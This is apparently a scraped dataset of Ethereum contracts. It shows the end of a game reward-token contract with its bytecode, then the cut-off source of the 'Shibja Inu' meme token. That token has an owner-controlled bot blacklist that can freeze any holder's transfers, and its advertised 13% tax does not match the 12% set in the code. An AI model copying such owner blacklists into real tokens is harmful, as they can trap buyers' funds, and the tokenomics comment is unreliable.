game (decimals (9) are cut here for better clarity) function maxRewardPerPlayer() public view returns (uint256) { return playerRewardLimit.div(1*10**9); } /** * This function allow to send reward-tokens to player, but special conditions must be provided: * * -the owner must be zero address (completed renouceOwnership is required as first) * -function can be called only by Distributor (not by contract owner or player) * -distributor cannot send any reward to his own address or owner address. * -the player by using another function has to be registered in database first. * -amount of each reward-tokens cannot be greater than maximum limit, which is 3000 tokens. * -function doesn't generate new tokens. Rewards end when the pool (tokens in the contract) will be empty. */ function claimRewardForWinner(address _address, uint256 _rewardAmount) external onlyDistributor { require (owner() == address(0), "renouce owership required. The Owner must be zero address"); require (_address != _distributor, "distributor cannot send reward to himself"); require (playersDatabase[_address] == true, "address is not registred in players database"); require (_rewardAmount <= playerRewardLimit, "amount cannot be higher than limit"); require (_address != address(0), "zero address not allowed"); require (_rewardAmount != 0, "amount cannot be zero"); balances[address(this)] = balances[address(this)].sub(_rewardAmount, "reward pool is empty already"); balances[_address] = balances[_address].add(_rewardAmount); emit rewardTransfered(address(this), _address, _rewardAmount); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80636a3c1b5c116100c357806395d89b411161007c57806395d89b41146103c6578063a9059cbb146103e4578063bc6203ba14610414578063bfe1092814610444578063e5a8221d14610462578063f02b3e2a146104925761014d565b80636a3c1b5c1461031a57806370a0823114610336578063715018a61461036657806372f4c22c1461037057806375619ab51461038c5780638da5cb5b146103a85761014d565b806327e235e31161011557806327e235e31461021e578063313ce5671461024e57806333590fd31461026c57806334b81ca51461029c57806353002ab9146102ba578063612092ed146102ea5761014d565b806306fdde031461015257806307f1e3e514610170578063095ea7b3146101a057806318160ddd146101d057806323b872dd146101ee575b600080fd5b61015a6104ae565b60405161016791906123e8565b60405180910390f35b61018a600480360381019061018591906120d7565b61053c565b60405161019791906123e8565b60405180910390f35b6101ba60048036038101906101b59190612097565b610656565b6040516101c791906123cd565b60405180910390f35b6101d8610748565b6040516101e5919061258a565b60405180910390f35b61020860048036038101906102039190612044565b61074e565b60405161021591906123cd565b60405180910390f35b61023860048036038101906102339190612017565b610875565b604051610245919061258a565b60405180910390f35b61025661088d565b60405161026391906125a5565b60405180910390f35b610286600480360381019061028191906120d7565b6108a0565b60405161029391906123e8565b60405180910390f35b6102a46109ba565b6040516102b1919061258a565b60405180910390f35b6102d460048036038101906102cf91906120d7565b6109da565b6040516102e191906123e8565b60405180910390f35b61030460048036038101906102ff91906120d7565b610af4565b60405161031191906123e8565b60405180910390f35b610334600480360381019061032f9190612097565b610c0e565b005b610350600480360381019061034b9190612017565b6110fb565b60405161035d919061258a565b60405180910390f35b61036e611144565b005b61038a60048036038101906103859190612017565b611290565b005b6103a660048036038101906103a19190612017565b611400565b005b6103b0611588565b6040516103bd9190612389565b60405180910390f35b6103ce6115b1565b6040516103db91906123e8565b60405180910390f35b6103fe60048036038101906103f99190612097565b61163f565b60405161040b91906123cd565b60405180910390f35b61042e60048036038101906104299190612017565b611656565b60405161043b91906123cd565b60405180910390f35b61044c6116ac565b6040516104599190612389565b60405180910390f35b61047c600480360381019061047791906120d7565b6116d6565b60405161048991906123e8565b60405180910390f35b6104ac60048036038101906104a79190612017565b6117f0565b005b600480546104bb9061272a565b80601f01602080910402602001604051908101604052809291908181526020018280546104e79061272a565b80156105345780601f1061050957610100808354040283529160200191610534565b820191906000526020600020905b81548152906001019060200180831161051757829003601f168201915b505050505081565b606061064f826040518060400160405280600781526020017f5550475241444500000000000000000000000000000000000000000000000000815250600e805480602002602001604051908101604052809291908181526020016000905b828210156106465783829060005260206000200180546105b99061272a565b80601f01602080910402602001604051908101604052809291908181526020018280546105e59061272a565b80156106325780601f1061060757610100808354040283529160200191610632565b820191906000526020600020905b81548152906001019060200180831161061557829003601f168201915b50505050508152602001906001019061059a565b50505050611960565b9050919050565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610736919061258a565b60405180910390a36001905092915050565b60075481565b600061075b8484846119cf565b6107ea82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca090919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b60026020528060005260406000206000915090505481565b600660009054906101000a900460ff1681565b60606109b3826040518060400160405280600681526020017f574541504f4e0000000000000000000000000000000000000000000000000000815250600b805480602002602001604051908101604052809291908181526020016000905b828210156109aa57838290600052602060002001805461091d9061272a565b80601f01602080910402602001604051908101604052809291908181526020018280546109499061272a565b80156109965780601f1061096b57610100808354040283529160200191610996565b820191906000526020600020905b81548152906001019060200180831161097957829003601f168201915b5050505050815260200190600101906108fe565b50505050611960565b9050919050565b60006109d5633b9aca00600a54611cea90919063ffffffff16565b905090565b6060610aed826040518060400160405280600681526020017f4845414c54480000000000000000000000000000000000000000000000000000815250600d805480602002602001604051908101604052809291908181526020016000905b82821015610ae4578382906000526020600020018054610a579061272a565b80601f0160208091040260200160405190810160405280929190818152602001828054610a839061272a565b8015610ad05780601f10610aa557610100808354040283529160200191610ad0565b820191906000526020600020905b815481529060010190602001808311610ab357829003601f168201915b505050505081526020019060010190610a38565b50505050611960565b9050919050565b6060610c07826040518060400160405280600581526020017f41524d4f52000000000000000000000000000000000000000000000000000000815250600c805480602002602001604051908101604052809291908181526020016000905b82821015610bfe578382906000526020600020018054610b719061272a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b9d9061272a565b8015610bea5780601f10610bbf57610100808354040283529160200191610bea565b820191906000526020600020905b815481529060010190602001808311610bcd57829003601f168201915b505050505081526020019060010190610b52565b50505050611960565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c959061242a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610cbe611588565b73ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b9061252a565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9c9061246a565b60405180910390fd5b60011515600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2f9061250a565b60405180910390fd5b600a54811115610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e749061256a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee49061248a565b60405180910390fd5b6000811415610f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f28906124ea565b60405180910390fd5b610fba816040518060400160405280601c81526020017f72657761726420706f6f6c20697320656d70747920616c726561647900000000815250600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d349092919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061104f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8dfb84a056e36b1e1a910c584aa2f7bd1f87d0f109bac8dc85a0ff31cf347642836040516110ef919061258a565b60405180910390a35050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c9906124aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113179061242a565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fb3b4a2a1170bed4cefb801422143bd6850b58bce04bdd729fb1bceadd8c2eab481600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166040516113f59291906123a4565b60405180910390a150565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611485906124aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e957600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f6a8214c34eff5c6634efa8bc654d2ec89148c99d15da876196bb09286b5efc8d60405160405180910390a350565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546115be9061272a565b80601f01602080910402602001604051908101604052809291908181526020018280546115ea9061272a565b80156116375780601f1061160c57610100808354040283529160200191611637565b820191906000526020600020905b81548152906001019060200180831161161a57829003601f168201915b505050505081565b600061164c3384846119cf565b6001905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606117e9826040518060400160405280600881526020017f4152544946414354000000000000000000000000000000000000000000000000815250600f805480602002602001604051908101604052809291908181526020016000905b828210156117e05783829060005260206000200180546117539061272a565b80601f016020809104026020016040519081016040528092919081815260200182805461177f9061272a565b80156117cc5780601f106117a1576101008083540402835291602001916117cc565b820191906000526020600020905b8154815290600101906020018083116117af57829003601f168201915b505050505081526020019060010190611734565b50505050611960565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611880576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118779061242a565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fb79ee628f6c0fc41a3a63e1506405bc44399a3782e72c28bf57264b86afaf0c181600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166040516119559291906123a4565b60405180910390a150565b606060006119968461197187611df6565b604051602001611982929190612365565b604051602081830303815290604052611f57565b90506000838451836119a891906127a5565b815181106119b9576119b8612863565b5b6020026020010151905080925050509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a369061254a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa69061240a565b60405180910390fd5b60008111611af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae9906124ca565b60405180910390fd5b611b5e81604051806060016040528060268152602001612c2260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d349092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bf381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c93919061258a565b60405180910390a3505050565b6000611ce283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d34565b905092915050565b6000611d2c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f8a565b905092915050565b6000838311158290611d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7391906123e8565b60405180910390fd5b5060008385611d8b919061266e565b9050809150509392505050565b6000808284611da791906125e7565b905083811015611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de39061244a565b60405180910390fd5b8091505092915050565b60606000821415611e3e576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611f52565b600082905060005b60008214611e70578080611e599061275c565b915050600a82611e69919061263d565b9150611e46565b60008167ffffffffffffffff811115611e8c57611e8b612892565b5b6040519080825280601f01601f191660200182016040528015611ebe5781602001600182028036833780820191505090505b5090505b60008514611f4b57600182611ed7919061266e565b9150600a85611ee691906127a5565b6030611ef291906125e7565b60f81b818381518110611f0857611f07612863565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85611f44919061263d565b9450611ec2565b8093505050505b919050565b600081604051602001611f6a919061234e565b6040516020818303038152906040528051906020012060001c9050919050565b60008083118290611fd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc891906123e8565b60405180910390fd5b5060008385611fe0919061263d565b9050809150509392505050565b600081359050611ffc81612bf3565b92915050565b60008135905061201181612c0a565b92915050565b60006020828403121561202d5761202c6128c1565b5b600061203b84828501611fed565b91505092915050565b60008060006060848603121561205d5761205c6128c1565b5b600061206b86828701611fed565b935050602061207c86828701611fed565b925050604061208d86828701612002565b9150509250925092565b600080604083850312156120ae576120ad6128c1565b5b60006120bc85828601611fed565b92505060206120cd85828601612002565b9150509250929050565b6000602082840312156120ed576120ec6128c1565b5b60006120fb84828501612002565b91505092915050565b61210d816126a2565b82525050565b61211c816126b4565b82525050565b600061212d826125c0565b61213781856125cb565b93506121478185602086016126f7565b612150816128c6565b840191505092915050565b6000612166826125c0565b61217081856125dc565b93506121808185602086016126f7565b80840191505092915050565b60006121996023836125cb565b91506121a4826128d7565b604082019050919050565b60006121bc6021836125cb565b91506121c782612926565b604082019050919050565b60006121df601b836125cb565b91506121ea82612975565b602082019050919050565b60006122026029836125cb565b915061220d8261299e565b604082019050919050565b60006122256018836125cb565b9150612230826129ed565b602082019050919050565b60006122486020836125cb565b915061225382612a16565b602082019050919050565b600061226b6029836125cb565b915061227682612a3f565b604082019050919050565b600061228e6015836125cb565b915061229982612a8e565b602082019050919050565b60006122b1602c836125cb565b91506122bc82612ab7565b604082019050919050565b60006122d46039836125cb565b91506122df82612b06565b604082019050919050565b60006122f76025836125cb565b915061230282612b55565b604082019050919050565b600061231a6022836125cb565b915061232582612ba4565b604082019050919050565b612339816126e0565b82525050565b612348816126ea565b82525050565b600061235a828461215b565b915081905092915050565b6000612371828561215b565b915061237d828461215b565b91508190509392505050565b600060208201905061239e6000830184612104565b92915050565b60006040820190506123b96000830185612104565b6123c66020830184612113565b9392505050565b60006020820190506123e26000830184612113565b92915050565b600060208201905081810360008301526124028184612122565b905092915050565b600060208201905081810360008301526124238161218c565b9050919050565b60006020820190508181036000830152612443816121af565b9050919050565b60006020820190508181036000830152612463816121d2565b9050919050565b60006020820190508181036000830152612483816121f5565b9050919050565b600060208201905081810360008301526124a381612218565b9050919050565b600060208201905081810360008301526124c38161223b565b9050919050565b600060208201905081810360008301526124e38161225e565b9050919050565b6000602082019050818103600083015261250381612281565b9050919050565b60006020820190508181036000830152612523816122a4565b9050919050565b60006020820190508181036000830152612543816122c7565b9050919050565b60006020820190508181036000830152612563816122ea565b9050919050565b600060208201905081810360008301526125838161230d565b9050919050565b600060208201905061259f6000830184612330565b92915050565b60006020820190506125ba600083018461233f565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006125f2826126e0565b91506125fd836126e0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612632576126316127d6565b5b828201905092915050565b6000612648826126e0565b9150612653836126e0565b92508261266357612662612805565b5b828204905092915050565b6000612679826126e0565b9150612684836126e0565b925082821015612697576126966127d6565b5b828203905092915050565b60006126ad826126c0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156127155780820151818401526020810190506126fa565b83811115612724576000848401525b50505050565b6000600282049050600182168061274257607f821691505b6020821081141561275657612755612834565b5b50919050565b6000612767826126e0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561279a576127996127d6565b5b600182019050919050565b60006127b0826126e0565b91506127bb836126e0565b9250826127cb576127ca612805565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f63616c6c6572206973206e6f742072657761726473206469737472696275746f60008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f6469737472696275746f722063616e6e6f742073656e6420726577617264207460008201527f6f2068696d73656c660000000000000000000000000000000000000000000000602082015250565b7f7a65726f2061646472657373206e6f7420616c6c6f7765640000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f616d6f756e742063616e6e6f74206265207a65726f0000000000000000000000600082015250565b7f61646472657373206973206e6f742072656769737472656420696e20706c617960008201527f6572732064617461626173650000000000000000000000000000000000000000602082015250565b7f72656e6f756365206f776572736869702072657175697265642e20546865204f60008201527f776e6572206d757374206265207a65726f206164647265737300000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f616d6f756e742063616e6e6f7420626520686967686572207468616e206c696d60008201527f6974000000000000000000000000000000000000000000000000000000000000602082015250565b612bfc816126a2565b8114612c0757600080fd5b50565b612c13816126e0565b8114612c1e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a2646970667358221220d7824009bbb22bd2e06515bc9aa81712c4d1065c00bb5360c98c350df24b63e764736f6c63430008060033
{"success": true, "error": null, "results": {}}
3,690
0x7ea9CA3A629C954734276bB6fC43347ae758066e
/** *Submitted for verification at Etherscan.io on 2022-03-07 */ /* Shibja Inu is a meme token signifying a loyal ninja dog who processes expert level sword technique and it can slice scammers for their friends and family. Shibja Inu is the one and only companion that you need in your cryptocurrency adventure. With your loyal Shibja Inu, you can tackle any trouble that comes your way! Come get one Shibja Inu and join our community. Tokenomics: Total Supply: 1 Billion Max Buy: 20,000,000 Tax: 13% 4% Reflection and Rewards 4% Liquidity Pool 3% Buy back and burn 2% Dev + Marketing Telegram: https://t.me/shibjainu */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBJA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Shibja Inu"; string private constant _symbol = "SHIBJA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x843dA99e324813964C6b29ED1A19C3c961a1f777); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = 